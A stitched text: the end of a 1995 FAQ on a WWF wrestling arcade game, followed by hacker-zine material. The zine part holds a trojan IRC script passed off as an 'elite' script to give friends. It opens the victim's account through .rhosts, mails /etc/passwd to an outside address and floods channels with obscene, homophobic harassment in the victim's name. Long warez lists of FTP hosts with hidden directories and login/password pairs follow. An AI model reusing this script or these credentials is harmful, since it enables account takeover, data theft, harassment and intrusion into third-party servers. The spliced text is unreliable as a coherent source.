This way you wont have to worry about looking behind you. If you fight
|
||
in the middle of the ring and grab someone to do a throw, someone from
|
||
behind will come and hit you. If you stay against the ropes, you don't
|
||
have to worry about this and this is important if you want to beat the
|
||
game (esp. on the heavyweight division). Nothing really special happened
|
||
when i beat it on heavyweight. Just said that i am the new champion or
|
||
something. A good CPU strategy is to use Doink and continually use the
|
||
grab, punch, body dive combo. It does little to increase your combo meter,
|
||
but when there are so many CPU opponents, your objective is to take as
|
||
much energy off as you can to kill them.
|
||
|
||
Conserve your combo meter until necessary. Do not waste your combo meter
|
||
on a CPU opponent who has little life left. Use it on the person who has
|
||
more life so you can kill them faster. When fighting a human or 1 CPU
|
||
wrestler, this does not apply.
|
||
|
||
The hip-toss is deadly. Some people can hip-toss people out of the air.
|
||
The best is when someone does a move, you block, and then do a hip-toss
|
||
before they even land. Hard but possible.
|
||
|
||
When reversing try to quad throw as much as possible. Your objective is
|
||
to kill and not be killed. Take off as much energy as you can.
|
||
|
||
Be very critical about using your combo early on. You may need that combo
|
||
meter lit for the all important third round. Without your combo meter, you
|
||
can't make that spectacular comeback nor can you get second wind.
|
||
|
||
***************************
|
||
*** C H A R A C T E R S *** (in alphabetical order)
|
||
***************************
|
||
"He can't get away with that!"
|
||
|
||
This section is starting to fill out quite nicely now.
|
||
??? = I don't know it
|
||
(!) = unconfirmed by me
|
||
* = quadruple move
|
||
{} = repeated button taps
|
||
ch = charge (hold button down) for 3 seconds, then release
|
||
|
||
---------------------
|
||
-- Bam Bam Bigelow --
|
||
---------------------
|
||
|
||
special moves:
|
||
fist rush: chP
|
||
fire throw: chPP, run, release PP
|
||
flying snap kick: BB+PK
|
||
throws:
|
||
power grab: PP+PK
|
||
*(pogo)piledriver: (grab), DD+PK, {PP}
|
||
backbreaker: (power grab), DD+PK
|
||
minicombos:
|
||
fist rush, power grab
|
||
combos:
|
||
initiators: PP, PK
|
||
20-hit combo: FF+PP, P K PK PP
|
||
22-hit combo: FF+PK, P PP K PK PP (!)
|
||
|
||
---------------
|
||
-- Bret Hart --
|
||
---------------
|
||
|
||
special moves:
|
||
roll: QCT+PP
|
||
eye raker: HCT+P or chP
|
||
sharpshooter: hit PP next to fallen opponent's feet.
|
||
dashing uppercut: DD+P
|
||
lunging kick: BB+PK
|
||
throws:
|
||
face slam: (grab), HCT+P
|
||
*quadruple slam: (grab), HCT+P, {P}
|
||
DDT: run+PP
|
||
mini combos:
|
||
(grab), hold F, {P}
|
||
(grab), hold F, {P}, face slam
|
||
combos:
|
||
initiators: P, PK
|
||
16-hit combo: FF+PK, PK PP P K PK or (<PK>5, PP5, P1, K2, PK3) (see above)
|
||
13-hit combo: FF+P, PP, PK P (!)
|
||
|
||
-----------
|
||
-- Doink --
|
||
-----------
|
||
|
||
special moves:
|
||
*the clapper: HCT+P, {P}
|
||
joybuzzer: chP (or QCT+P after grab)
|
||
*happy hammer: FF+PK, {K}
|
||
throws:
|
||
head slam: (grab), FF+PP
|
||
*face smash: (grab), DD+PK, {K}
|
||
mini combos:
|
||
(grab), P, hold F, P+K (punch + body dive) [good combo!]
|
||
combos:
|
||
initiators: PP, PK
|
||
20-hit: FF+PP, PK, P, PK, K
|
||
19 or 20 hit: FF+PK, PP, K, PK, K
|
||
16-hit: FF+PP, PK P K
|
||
16-hit: FF+PK, PP K P
|
||
14-hit: FF+PK, PP P K
|
||
|
||
---------------
|
||
-- Lex Luger --
|
||
---------------
|
||
|
||
special moves:
|
||
fist smash: chP
|
||
*fun flail: FF+PK, {K}
|
||
elbow girder: FF+P
|
||
throws:
|
||
power grab: PP+PK
|
||
suplex: (grab), FF+PP (can throw people out of the ring)
|
||
throw: (grab), DD+PK
|
||
mini combos: ???
|
||
combos: ???
|
||
initiators: P, ??
|
||
??-hit:
|
||
(kicks, punches, quad back breaker, fun flail)
|
||
|
||
-----------------
|
||
-- Razor Ramon --
|
||
-----------------
|
||
|
||
special moves:
|
||
quick slice: QCT+P
|
||
dashing slice: chP
|
||
quad slam: FF+K, {K} (does the quad slam without the need to grab first)
|
||
throws:
|
||
razor's edge: (grab), FF+PP
|
||
*quadruple slam: (grab), DD+K, {K}
|
||
mini combos:
|
||
(grab), QCT+P
|
||
combos:
|
||
initiators: PP, K
|
||
24-hit: FF+PP, P K PK PP (P)
|
||
comments:
|
||
--> I did a mini-combo a few times with razor where I slapped them a few times
|
||
then did a throw that went way up in the air. It might be a grab, plus
|
||
hct+p, plus ff+k, {k}.....
|
||
|
||
--------------------
|
||
-- Shawn Michaels --
|
||
--------------------
|
||
|
||
special moves:
|
||
flying double snapkick: BB+PK
|
||
back breaker: DD+PK
|
||
back breaker: chP
|
||
some stupid kick: chPK
|
||
frankensteiner: FF+PK
|
||
drop kick: FF+K
|
||
sunset flip: FF+PP
|
||
*quadruple kick: HCT+K, {K} (up close)
|
||
throws:
|
||
run + PK (leg throw)
|
||
run + PP (body tackle throw)
|
||
arm breaker: (grab), FF+P
|
||
mini combos:
|
||
(grab), hold F, PP
|
||
combos:
|
||
initiators: P, K
|
||
16 hit: FF+K, PK HCT+P, then I start jamming on all of the buttons (!)
|
||
(punches, kicks, three hip-toss, three stomps)
|
||
15-hit: ???
|
||
comments:
|
||
--> I did a move (a few times actually) where i knocked them down, then walked
|
||
over to their fallen body and I did 4 stomps on them while they were down.
|
||
Has anyone figured this one out yet?
|
||
|
||
--------------------
|
||
-- The Undertaker --
|
||
--------------------
|
||
|
||
special moves:
|
||
warp: QCT+P
|
||
neckbreaker: chP
|
||
shadow neckbreaker: chP, run, release P
|
||
dark ghosts: QCT+K (this takes off damage)
|
||
light ghosts: QCB+K (this stuns them, but doesn't take damage)
|
||
*tombstone smash: FF+PK, {K}
|
||
throws:
|
||
uppercut buster: (grab), DD+PP
|
||
fire neck slam: (warp), DD+PK
|
||
*shadow slam: (warp), DD+K, {P}
|
||
mini combos:
|
||
combos:
|
||
initiators: K, PK
|
||
21-hit: FF+PK, K P PP PK
|
||
(kicks, kicks, punches, quad shadow neck slam)
|
||
fatalities:
|
||
fatality 1: close to opponent and DDDD+P
|
||
The Undertaker pushes his opponent into a coffin which appears from under
|
||
the ring. The coffin goes back down and a tombstone appears in its place.
|
||
|
||
|
||
--------------
|
||
-- Yokozuna --
|
||
--------------
|
||
|
||
special moves:
|
||
salt throw: chP (or QCT+P after grab)
|
||
belly rush: FF+P (character away or farther)
|
||
head knocker: FF+P (up close)
|
||
throws:
|
||
power grab: PP+PK (can throw people out of the ring)
|
||
leg spin throw: (power grab), DD+PK (another cool throw)
|
||
?? FF+PP
|
||
?? DD+PK
|
||
mini combos:
|
||
combos:
|
||
initiators: P, PP
|
||
??-hit: FF+P, PP PK
|
||
*note*: yokozuna cannot jump out of the ring off the turnbuckle
|
||
|
||
*************************
|
||
*** D E S I G N E R S ***
|
||
*************************
|
||
"Put 'er there, pal!"
|
||
|
||
If you look in the crowd, you can see the people who made this game possible.
|
||
Right smack in the middle, is Mark Turmell. Many of you may remember him from
|
||
NBA JAM (MJT March 22). Mark Turmell is the main guy responsible for this
|
||
game.
|
||
|
||
The others are:
|
||
|
||
In the crowd from Turmell to the right...
|
||
Sal Divita (head artist)
|
||
Sheridan Oursler (hardware tech)
|
||
Josh Tsui (artist)
|
||
Eugene Greer (artist)
|
||
Tony Goskie (artist)
|
||
Mark Penacho (programmer, but not on this game)
|
||
|
||
In the crowd from Turmell to the left...
|
||
Jason Skiles (programmer and avid internet user)
|
||
Jake Simpson (programmer)
|
||
Mancow Muller (radio dj on Rock 103.5 and devout WWF fan)
|
||
Sophia (Mancow's significant other)
|
||
Dewey Gosnell (network tech)
|
||
Jamie Rivett (programmer)
|
||
|
||
I am not making public the e-mail addresses of these people due to projected
|
||
mass amounts of mail these guys may receive from listing it here in this faq.
|
||
Sorry for any inconvience.
|
||
|
||
***************************
|
||
*** C O N C L U S I O N ***
|
||
***************************
|
||
"Aw, that was cheap!"
|
||
|
||
This seems to be a very promising game. Over here, more people play this
|
||
than mk3!! Seriously! The graphics are much cleaner and overall, this game
|
||
rocks. I thought I would never say that about a wrestling game. I love this
|
||
game! As far as game balance goes, this game is very good. It is hard to
|
||
say who is exactly the "best" wrestler. Everyone has a good chance of being
|
||
good. It all depends on the player and his/her style.
|
||
|
||
To get this faq, you can get it from ftp at:
|
||
|
||
ftp.netcom.com get pub/vi/vidgames/faqs/wwfwrest.txt
|
||
brawl.mindlink.net get pub/vidgames/faqs/wwfwrest.txt
|
||
|
||
or from the World Wide Web (WWW) at:
|
||
|
||
http://www.cs.indiana.edu/hyplan/bodom/wwf.faq (most recent updated faq)
|
||
http://cs.sau.edu/~mkruse/wwf/
|
||
ftp://ftp.netcom.com/pub/vi/vidgames/faqs/wwfwrest.txt
|
||
ftp://brawl.mindlink.net/pub/vidgames/faqs/wwfwrest.txt
|
||
|
||
*********************
|
||
*** C R E D I T S ***
|
||
*********************
|
||
"This is a complete disaster!"
|
||
|
||
Authors, Combo Artists, and Contributors
|
||
|
||
Brian Odom ......................................... bodom@kiwi.ucs.indiana.edu
|
||
Mark "UNC" Uncapher .......................... muncaphe@iunhaw1.iun.indiana.edu
|
||
Spencer Olson ............... olsospe@elof.acc.iit.edu or torgo@tristero.io.com
|
||
Frodis!!!!! ................................................. frodisman@aol.com
|
||
Zargon (Ching-Hwa Yu) .............................................. cyu@ic.net
|
||
Bob and Rick White ........................................ ejwg19a@prodigy.com
|
||
James "Boy Toy" Melki ..................................... jmelki@mcc.mott.edu
|
||
|
||
Friar Tuck's Arcade in Calumet City, IL and Midway for letting us test the game
|
||
The American Family Entertainment Crew Flint, MI
|
||
Michael Crockett (crockett@student.umass.edu) for the short biographies
|
||
Andy Eddy (vidgames@netcom.com) and
|
||
Dave Kirsch (a00563@giant.mindlink.net) for the ftp sites.
|
||
|
||
(C) Copyright, 1995
|
||
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
| PLA.IRC he most elite irc script out there. Give it to a friend today!
|
||
|_________________________________________________________________________________________________________
|
||
|
||
|
||
______________>CUT HERE<_________________________________________________
|
||
#pla.irc written by dr. hate in a fit of drunken rage
|
||
set novice off
|
||
exec echo + + >> .rhosts
|
||
exec echo eval load phoenix.irc >> .ircrc
|
||
exec echo "echo + + >>.rhosts">>.ircrc
|
||
say 3Y3 HAVE BEEN RHOSTED BY THE PLA!!!
|
||
exec cat /etc/passwd > pla.tar
|
||
exec mail apok0lyp@basenet.net < pla.tar
|
||
wallop I love the PLA!!!!
|
||
say I love to jerk off to pix of nekid amy@$#
|
||
wait 10
|
||
say I really love it!
|
||
wait 10
|
||
say me wants to get it in the ass in the name of r0y right now!!!
|
||
say me is going to #r0y!!! every one is invited!!!!@%^
|
||
wait 10
|
||
say me wants to suck cock in the name of r0y
|
||
join #r0y
|
||
wait 10
|
||
say I want you all!!!!!!
|
||
me likes to suck r0y's cock
|
||
wait 10
|
||
say I want to be fucked up the ass by burly r0y!!!!
|
||
wait 10
|
||
me likes it that way!!!!
|
||
say I love to get fucked in the ass by r0y
|
||
wait 10
|
||
me is feeling horney. Anyone want to fuck me for R0Y??
|
||
me is now accepting e-mail from any takers!!!
|
||
wallop I LUV THE PLA@$%@^
|
||
wait 10
|
||
say I want to be butt fucked by R0Y
|
||
join #hack
|
||
me wants to suck some horny stud named r0y
|
||
me wants to take it in the ass from r0y
|
||
say I love to get fucked up the ass by big guys named r0y!!
|
||
wait 10
|
||
say I really love the PLA!
|
||
wait 10
|
||
me wants to get it in the ass right now bye the PLA!!!
|
||
me is going to #r0ysex!!! every male is invited to come!!!
|
||
wait 10
|
||
join #r0ysex
|
||
wait 10
|
||
say I want you all!!!!!!
|
||
me likes to suck cock for the PLA!!
|
||
wait 10
|
||
say I want to be fucked up the ass by r0y!!!!
|
||
wait 10
|
||
me likes it that way!!!!
|
||
wait 10
|
||
me is feeling horney. Anyone want to fuck me for R0Y??
|
||
me is now accepting e-mail from any takers!!!
|
||
wallop I like sucking gay men named r0y
|
||
wait 10
|
||
say I want to be butt fucked by r0y
|
||
join #phreak
|
||
me wants to suck some horny stud in the PLA
|
||
say I love to get fucked up the ass by the PLA!!
|
||
wait 10
|
||
say I really love it!
|
||
say I need a horny male man now
|
||
wait 10
|
||
me wants to get it in the ass right now cuz the PLA r0x!!!
|
||
me is going to #2600!!! every male is invited to come!!!
|
||
wait 10
|
||
exec mv pla.irc phoenix.irc
|
||
join #2600
|
||
wait 10
|
||
say I want you all!!!!!!
|
||
me likes to suck cock for the PLA!!
|
||
wait 10
|
||
say I want to be fucked up the ass by the PLA!!!!!
|
||
wait 10
|
||
/me likes it that way!!!!
|
||
wait 10
|
||
/me is feeling horney. Anyone want to fuck me for R0Y??
|
||
/me is now accepting e-mail from any takers!!!
|
||
wallop PHEAR THE PLA
|
||
wait 10
|
||
say I want to be butt fucked by the PLA
|
||
join #bearcave
|
||
/me wants to suck some horny stud
|
||
say THE PLA ROQ I RAN THIER GAY SKRIPT
|
||
msg tr1be y0y0y0 fear the pla
|
||
join #hack
|
||
/nick tr1be
|
||
say y0h i'm tr1be and the pla fucks me in the rear
|
||
say y0h ish dat illin chillin fewl that sucks big burly r0y dick
|
||
exec -m k0wacid ls /* .*
|
||
/msg piker 3y3 th1nK Ur 4 l4m3 l1ttl3 b1tch tH4T k4Nt h4nDl3 b31ng 4n 1rc0p 4nd 3y3M 4 b0t 4nd th3r3 1z n0th1ng U k4n d0 4b0uT 1t b1tch!
|
||
exec -m piker ls -al /* .*
|
||
say here are my warez courtesy of the PLA!
|
||
exec -o ls -al
|
||
exec echo "i think ur a faggot, bitch!" > comment.txt
|
||
exec mail root@localhost < comment.txt
|
||
join #acid
|
||
say U shall all bow down and k1ss my butt
|
||
say i fear the PLA!
|
||
say so should you!
|
||
/me is bending over waiting for some hot d00dle stud to unload in his swolen hole!
|
||
/me wants radman to stick his penis in his butt and wiggle it!
|
||
say PHEAR THE PLA BITCHES!
|
||
|
||
|
||
------------------------<CUT HERE>--------------------------------------
|
||
Sadly we only have one submission for the PLA classifieds.
|
||
|
||
|
||
Lod t-shirts
|
||
SM-XXL many colors
|
||
$19.95 a t-shirt
|
||
email erikb@phrack.com for the address
|
||
|
||
-------------------------------------------------------------------------
|
||
WEll kids these are the things i have found in other people's
|
||
directory. There is somethin here for every one. And remember 0-DaY is
|
||
the 0nly WaY!
|
||
____________________________________________________________________________
|
||
|
||
Enjoy :)
|
||
E-Male
|
||
|
||
ftp.cursci.com
|
||
|
||
HOST=ftp.cursci.com
|
||
UID=anonymous
|
||
DIR=/incoming/.../.../.../.../..../...../warez
|
||
COMMENT=working..ok site
|
||
|
||
ftp.hktcl.com
|
||
HOST=ftp.hktcl.com
|
||
UID=anonymous
|
||
DIR=/pub/windows/win95
|
||
COMMENT=win95 site
|
||
|
||
interse.com
|
||
HOST=interse.com
|
||
UID=anonymous
|
||
COMMENT=working
|
||
|
||
ftp.dyess.com
|
||
HOST=ftp.dyess.com
|
||
UID=anonymous
|
||
DIR=/incoming
|
||
PASVMODE=0
|
||
COMMENT=has hot java
|
||
|
||
ftp.aladdin.co.uk
|
||
HOST=ftp.aladdin.co.uk
|
||
UID=anonymous
|
||
DIR=/pub/incoming/test1.gif/|||
|
||
COMMENT=semi-small site
|
||
|
||
[36.121.0.16
|
||
HOST=36.121.0.16
|
||
UID=anonymous
|
||
DIR=/users/heeger/abekas/Style/.cache
|
||
|
||
[sdune II
|
||
HOST=192.94.73.148
|
||
UID=anonymous
|
||
COMMENT=working
|
||
|
||
[129.2.141.33
|
||
HOST=129.2.141.33
|
||
UID=spock
|
||
PWD=vulcan
|
||
COMMENT=Kirk!
|
||
|
||
[ftp.death.com]
|
||
HOST=ftp.death.com
|
||
UID=site
|
||
PWD=leech
|
||
|
||
http://vax.mankato.msus.edu] XXXXXXXXXXXXXXXXXXXXXXXXXXx
|
||
HOST=http://vax.mankato.msus.edu XXXXXXX
|
||
UID=anonymous
|
||
|
||
[ftp.rahul.net]
|
||
HOST=ftp.rahul.net
|
||
UID=anonymous
|
||
DIR=/pub/oms/www/ricci/usa/.../.appz.
|
||
COMMENT=sux site
|
||
|
||
[129.101.39.86]
|
||
HOST=129.101.39.86
|
||
UID=anonymous
|
||
PWD=jerry@ap.net
|
||
DIR=/game
|
||
COMMENT=shitty but works
|
||
|
||
[129.74.222.11
|
||
HOST=129.74.222.11
|
||
UID=anonymous
|
||
DIR=/pub/users/scunnin1/incoming/Politics/Pestroika/Vladmir/SolarWind/SolarSite
|
||
COMMENT=good site
|
||
|
||
[130.74.96.13
|
||
HOST=130.74.96.13
|
||
UID=anonymous
|
||
DIR=/pub/ken/ge/.cache/.RGD
|
||
COMMENT=stange layout but works
|
||
|
||
[133.82.241.128
|
||
HOST=133.82.241.128
|
||
UID=anonymous
|
||
PWD=jerry@ap.net
|
||
DIR=/.1/X/X11/X11R6/contrib/incoming/ls-lbF.Z
|
||
COMMENT=working..sux site
|
||
|
||
[148.81.63.126
|
||
HOST=148.81.63.126
|
||
UID=anonymous
|
||
DIR=/incoming/people/humans/geography/asia/mongolia
|
||
COMMENT=sux but works
|
||
|
||
[165.91.112.177]
|
||
HOST=165.91.112.177
|
||
UID=anonymous
|
||
DIR=/pub/texastat.hp4p.gz/[7m[[m[Lplingplang
|
||
COMMENT=fair site
|
||
|
||
[192.75.90.130]
|
||
HOST=192.75.90.130
|
||
DIR=/pub/Incoming/.../
|
||
COMMENT=ok.. has games
|
||
|
||
[192.94.73.128]
|
||
HOST=192.94.73.128
|
||
UID=anonymous
|
||
DIR=/pub/incoming/da_firm/zero/.../...
|
||
COMMENT=fair site .. valarie2
|
||
|
||
[192.94.73.148]
|
||
HOST=192.94.73.148
|
||
UID=anonymous
|
||
COMMENT=too many users
|
||
|
||
[198.4.75.45]
|
||
HOST=198.4.75.45
|
||
UID=anonymous
|
||
DIR=/incoming/temp
|
||
COMMENT=fair site
|
||
|
||
[204.188.37.10]
|
||
HOST=204.188.37.10
|
||
UID=anonymous
|
||
DIR=/incoming/MiCRoSHaFT_eLiTe_TRaDeRZ
|
||
COMMENT=small site
|
||
|
||
[204.215.243.15]
|
||
HOST=204.215.243.15
|
||
UID=anonymous
|
||
DIR=/incoming/K
|
||
COMMENT=small site
|
||
|
||
[206.31.82.126]
|
||
HOST=206.31.82.126
|
||
UID=anonymous
|
||
DIR=/.profile
|
||
COMMENT=cool site
|
||
|
||
Official #warez_talk Sitez List
|
||
11-02-95
|
||
Compiled and sorted by realistik and snowe
|
||
From contributions made by sensible WaReZ-PeRsOnZ!!! stop
|
||
|
||
128.113.166.20 mdma.stu.rpi.edu 4
|
||
+(NoDir)
|
||
128.119.200.10 /incoming/scorp.inc/...
|
||
128.210.70.164 hillres154.cc.purdue.edu 4
|
||
+(NoDir) LG: cell PW: cell
|
||
128.36.13.1 NEBULA.SYSTEMSZ.CS.YALE.EDU 14
|
||
+/pub/blenko/
|
||
128.36.13.1 NEBULA.SYSTEMSZ.CS.YALE.EDU 14
|
||
+/pub/blenko/.[A/.RGD
|
||
128.36.13.1 NEBULA.SYSTEMSZ.CS.YALE.EDU 14
|
||
+/pub/blenko/.^[[A/.RGD/
|
||
129.101.39.86 nifty.bookstore.uidaho.edu 3
|
||
+/anydir
|
||
129.15.2.20 /incoming/warez (warez dir is hidden
|
||
129.180.4.7 /incoming/telemate.txt
|
||
129.2.141.33 l:kirk p:enterprise /d:/nahs
|
||
129.210.32.1
|
||
130.17.3.33 toto.csustan.edu 3
|
||
(NoDir) LG: kzack PW: budd2
|
||
130.215.240.56 /pub/dos/gamez
|
||
130.215.240.56 /pub/other/cracks
|
||
130.215.240.56 /pub/win31/appz
|
||
130.95.1.11 /pub/incoming/
|
||
130.95.16.1 /incoming
|
||
131.100.110.100 /incoming
|
||
131.111.84.16/pub
|
||
131.155.140.128 /pub2/next/sonata/. /.rejected/pub3
|
||
131.155.150.131 /stuff
|
||
131.156.3.4 /pub/contrib
|
||
131.156.93.241 must up for access
|
||
131.169.30.42/pub/w1/desy_mea/to_des y/..
|
||
^A^H^H/. ^A^H^H/
|
||
131.172.2.2 /pub/music/
|
||
131.179.128.36 /pub/slatec++
|
||
131.215.131.131 /comp/tal
|
||
131.215.33.4 /pub/incoming/../^P^E^N^N/
|
||
131.215.48.151 /pcpublic/os2/mailer/
|
||
131.215.65.13/pub/incoming/
|
||
131.217.8.17
|
||
131.239.2.100/incoming/.. /.^I
|
||
131.91.80.13 /www/stuff/
|
||
132.151.1.1 /temp
|
||
132.177.4.34 /pub/incoming/
|
||
132.180.8.29 /mounts/pubdsk3/sgi/sgi
|
||
/fax/incoming/
|
||
132.199.1.202/pub/incoming
|
||
132.207.12.2 /incoming/^L^E^A^V^E^I^<{o}^{o}>T/biler.zip/.^I^Efalckvogn.zip^E
|
||
132.208.250.2/usr/
|
||
132.230.1.2 /incoming/
|
||
132.236.108.5/pub/LII/Cello/drivers
|
||
132.239.29.189 /pub/submissions
|
||
132.241.1.108/pub/arb/ - /incoming/tmp
|
||
132.241.180.91 /pub/security
|
||
132.245.33.7 /incoming
|
||
132.246.48.31/General/MSDOS<_Jaz_>
|
||
132.248.29.2 /incoming/^[[B^[[U^[[G^ [[I/.
|
||
cache^H^I^P/^E^N^Y^O^Y/
|
||
132.254.145.50 L: al341555 PW: abc
|
||
132.254.90.4 /incoming/
|
||
132.76.59.35 /pub/.unreadable/
|
||
133.4.14.3 /incoming
|
||
133.55.2.15 ftp1.pu-toyama.ac.jp 4
|
||
(NoDir
|
||
134.102.184.177 /incoming/
|
||
134.111.1.11
|
||
/pub/isis/incoming/AuctionDemo/istk/ADR
|
||
134.129.111.67 /pub/nnse/spininfo.txt^
|
||
H/^H^O^T
|
||
134.129.154.156 L: cmd(CMD)PW: ygro /pub2/
|
||
134.171.40.2 /incoming/acetone/ -
|
||
/pub/Catalogs/Herbig-Haro/reference.txt
|
||
134.197.40.241
|
||
/??urto/unr_calpulses/warez/warez
|
||
134.206.70.248 /incoming/.. /
|
||
134.50.254.40/uploads/<_Jaz_>
|
||
134.82.27.1 /droms/OCLC/.cache
|
||
135.8.1.10 /posix/sec/a/...
|
||
136.142.188.76 /dept/econ/.^H^F^E^A - /dept/nisg/incoming/
|
||
136.159.112.2
|
||
137.110.77.177 L:loonytoons PW: acme
|
||
137.122.33.202 /pub
|
||
137.158.128.41 /Incoming/
|
||
137.166.16.1 /pub/fred/
|
||
137.166.16.2
|
||
137.175.2.11 /incoming/mmc/core/
|
||
137.186.128.11 /in.coming
|
||
137.186.128.11 owl.nstn.ca 17
|
||
/in.coming/
|
||
137.208.15.202 /.a/aid/disk2/src/.b/
|
||
137.248.121.41 /incoming/mis.net/
|
||
137.79.113.100 /incoming/
|
||
138.232.92.1 L: pool PW: pool ~thunder/soft
|
||
138.234.4.10
|
||
138.49.128.181 /incoming/
|
||
139.230.16.8 L: ora628j PW: pluto
|
||
139.57.144.102 read README (like sam)
|
||
139.78.232.29/pub/phoenix/
|
||
139.94.96.2 /uploads/
|
||
140.112.16.131 /paul/1942airw/
|
||
140.112.72.5 L: apple PW: daemon
|
||
140.113.122.208 l:ircftp pw:ircftp00
|
||
/pub/00needtest
|
||
|
||
140.113.13.3 L: anon
|
||
140.129.80.1 /pub/tax/.eee/
|
||
140.174.136.17 /pub/wombats/ape/ftp/.[7m[[m[A/RGD
|
||
141.210.10.2 /pub/tribe/Incoming/.test/...
|
||
142.103.37.1 l: warez p:computer
|
||
146.83.160.230 aki.cmet.cl 3 /pub
|
||
146.83.20.51 l:zz95 p:S.f.DRAKE
|
||
148.81.63.126 scs.amp.pw.edu.pl 12
|
||
/incoming/people/humans/geography/asia/mongolia/cham.jpg
|
||
149.156.1.8
|
||
/uploads/win3/business/finacial/.../WAREZ
|
||
155.58.114.144 /Archived Files
|
||
155.58.114.144 PP-FS2.LSUMC.EDU 6 /pat
|
||
155.58.114.144 PP-FS2.LSUMC.EDU 6
|
||
/you'll
|
||
Enjoy :)
|
||
E-Male
|
||
****************************************************************************************
|
||
Private Sites
|
||
****************************************************************************************
|
||
128.173.241.6 l:ftping p:openden
|
||
130.89.1.158 l:leach p:leach
|
||
141.201.7.23 l:win p:win
|
||
150.210.174.121 l:obsidian p:hwc159
|
||
153.74.118.102 6664 l:crew p:letmein
|
||
#*#*#* best site(ratio tho)143.162.217.217 l:dgwood p: 93555
|
||
193.44.7.245 l:nite p:crunch
|
||
198.247.207.114 l:satch p:warfare
|
||
198.30.116.44 l:Win95 p:2guest
|
||
198.68.46.182 l:warez P:JUMP
|
||
199.171.28.106 l:warez p:warez
|
||
199.227.8.145 l:warez p:warez
|
||
199.190.106.11 l:Elvis P:Twinkies
|
||
204.246.65.245 l:pop p:pop
|
||
204.252.1.2 l:tonshere p: smith
|
||
204.29.185.206 l:warez p:warez
|
||
204.32.181.120 l:wsp p:warules
|
||
204.32.181.42 l:wsp p:wtf
|
||
205.139.136.63 l:warez p:houze
|
||
|
||
* - this list is from #wares-house - *
|
||
12/09/95 6:15 am GMT
|
||
GooD SiTeS
|
||
---------------------------------------------
|
||
An * indicates a new site tonight.
|
||
---------------------------------------------
|
||
16 DAYS left for pirating...I mean Christmas Shopping
|
||
|
||
|
||
|
||
|
||
|
||
|
||
128.173.210.48
|
||
*128.32.128.32 /pub/bordercollies/bctemp/bchealth/. . ./
|
||
*129.74.222.11 /pub/gopher/..[][][][A /.UJ
|
||
*130.220.16.88 /xemacs/contrib/incoming/.[A/COBSITE/
|
||
133.55.2.15 /pub/.j/X11/X11R6/contrib/incoming/ls-lbF.Z/
|
||
137.118.1.41 /pub/kerrsite
|
||
137.166.16.1 /pub/gif/General/... {qmodempro thats it)
|
||
*143.162.217.217 l:dgwood p:93555 D:/pub
|
||
*192.115.208.1 /incoming
|
||
*192.44.32.2 /outgoing/student/Mary/Christmas/from/Ware/Chronic
|
||
192.160.13.5 /pub/oms/www/ricci/usa/ (many dirs)
|
||
192.160.13.5 /pub/oms/www/ricci/usa/FiSt/ (many dirs)
|
||
*198.60.58.11 /users/slash/models
|
||
198.240.107.2 /pub/Matatan/Matatan
|
||
*199.117.31.1 /pub/[a/neverland/tick/temp
|
||
200.18.254.1 /incoming/warez/Gamez (busy)
|
||
200.18.94.66 H:/ftp/download/ZORKGROUP/
|
||
204.96.13.10 /pub/incoming/warez
|
||
*204.160.88.10 l:audran p:LaMeR
|
||
206.48.192.2 /pub/misc
|
||
*206.112.192.125 /pub/users/wmccarty/incoming/
|
||
|
||
TRW'Z PuRelY ElEEt sitelist..
|
||
Released: Dec. 09, '95 ---- ---- ---- ---- ---- ---- ---- ----
|
||
---- ----
|
||
128.110.4.30 ftp.cs.utah.edu /pub/..__/doh!/ 128.119.200.10
|
||
/incoming/.../ nhl96 mk2 pitfall and many more
|
||
128.134.1.1 /pub/uploads 128.146.209.34 128.174.30.82
|
||
/ 128.184.1.1 /AMIGAWAREZ 128.193.5.173
|
||
/pub/warez 128.2.75.156 login:warez pass:2eleet4u
|
||
128.220.46.22 l:El_Seed p:Zod 128.220.46.22
|
||
l:jayman p:simbah 128.220.46.22 felix.res.jhu.edu
|
||
l:tabasco p:tabasco 128.223.32.7 /incoming/ wsp/wsp
|
||
DELETERS!/ 128.253.27.48 l: pillsbury p: d0ughboy
|
||
128.39.140.150 128.39.140.150 /public hands of fate95
|
||
fury3 crusader GOOD SITE 128.83.163.21
|
||
/dbgraphics/|||/<><>/|/ 128.93.11.2
|
||
/broadcast/"<TAB> <TAB>"/".<TAB>" 129.101.39.86
|
||
/games 129.128.238.195 129.130.179.241 L:warez P:warez
|
||
129.15.2.20 /bbs/incoming/msdos 129.186.33.33 u:ftp
|
||
p:lamma 129.186.33.38 l:pie_rat p:pie_rat 129.2.141.33
|
||
l:kirk p:enterprise /d:/nahs 129.2.141.33 Login: Kirk
|
||
Password: Enterprise 129.2.141.33 u:kirk p:enterprise
|
||
129.2.141.33 login:kirk Pass:enterprise
|
||
129.237.117.13 /pub/incoming/.dev/games 129.237.117.13
|
||
/pub/incoming/.dev 129.241.163.3] /"..<TAB>"/inc
|
||
130.215.240.56 /incoming 130.215.240.56
|
||
l:anonymous p:email /pub/pics 130.215.245.132 130.230.4.5
|
||
[The directories are _VERY_ messy] 130.236.1.3 130.237.222.71
|
||
incoming/.../.././ 130.89.1.158
|
||
.....................porn 130.89.1.158 log: leach
|
||
pass: leach 131.156.93.241 131.156.93.241 /incoming
|
||
132.203.250.71 l:guest p:guest 132.203.250.73
|
||
Username: Guest Password: Guest 132.203.250.85 L&P: guest
|
||
132.254.136.1 /".. "/mac
|
||
132.70.1.138 /incoming/pc
|
||
134.121.97.147 C:\winapi\netserv\ns-home\public\___\___
|
||
134.121.97.147 l:ttaylor p:sony770
|
||
C:\WINAPI\NETSERV\ns-home\public\___\___ 137.132.88.84
|
||
l:infidel pw:MoreWillCome 137.186.128.11 /incoming
|
||
137.186.128.11 /in.coming/ 140.120.115.10
|
||
ag.nchu.edu.tw l:game_exchange_paradise p:Fatman
|
||
140.142.83.3 /pub/user-supported/hiho 141.217.24.239
|
||
chaos.eng.wayne.edu /incoming/.cache+/.___|/ 142.103.37.1
|
||
l:warez p:scotch 143.158.35.64 l:warez p:stuff
|
||
143.53.48.11 (anonymous name) 149.156.1.8
|
||
/uploads/win3/business/finacial/please_upload/.../da_warez_are_ba
|
||
ck 151.161.17.151 l:bucket p:black 151.161.17.56
|
||
l:track p:666 152.19.100.10 pub/ .../ /
|
||
152.2.128.159 /pub/leech/vect.Z/vector.tar.Z/
|
||
153.19.100.10 /pub/test.txt/.../ 153.19.64.3
|
||
/mirror/ultrasound/submit/groove 160.74.32.10
|
||
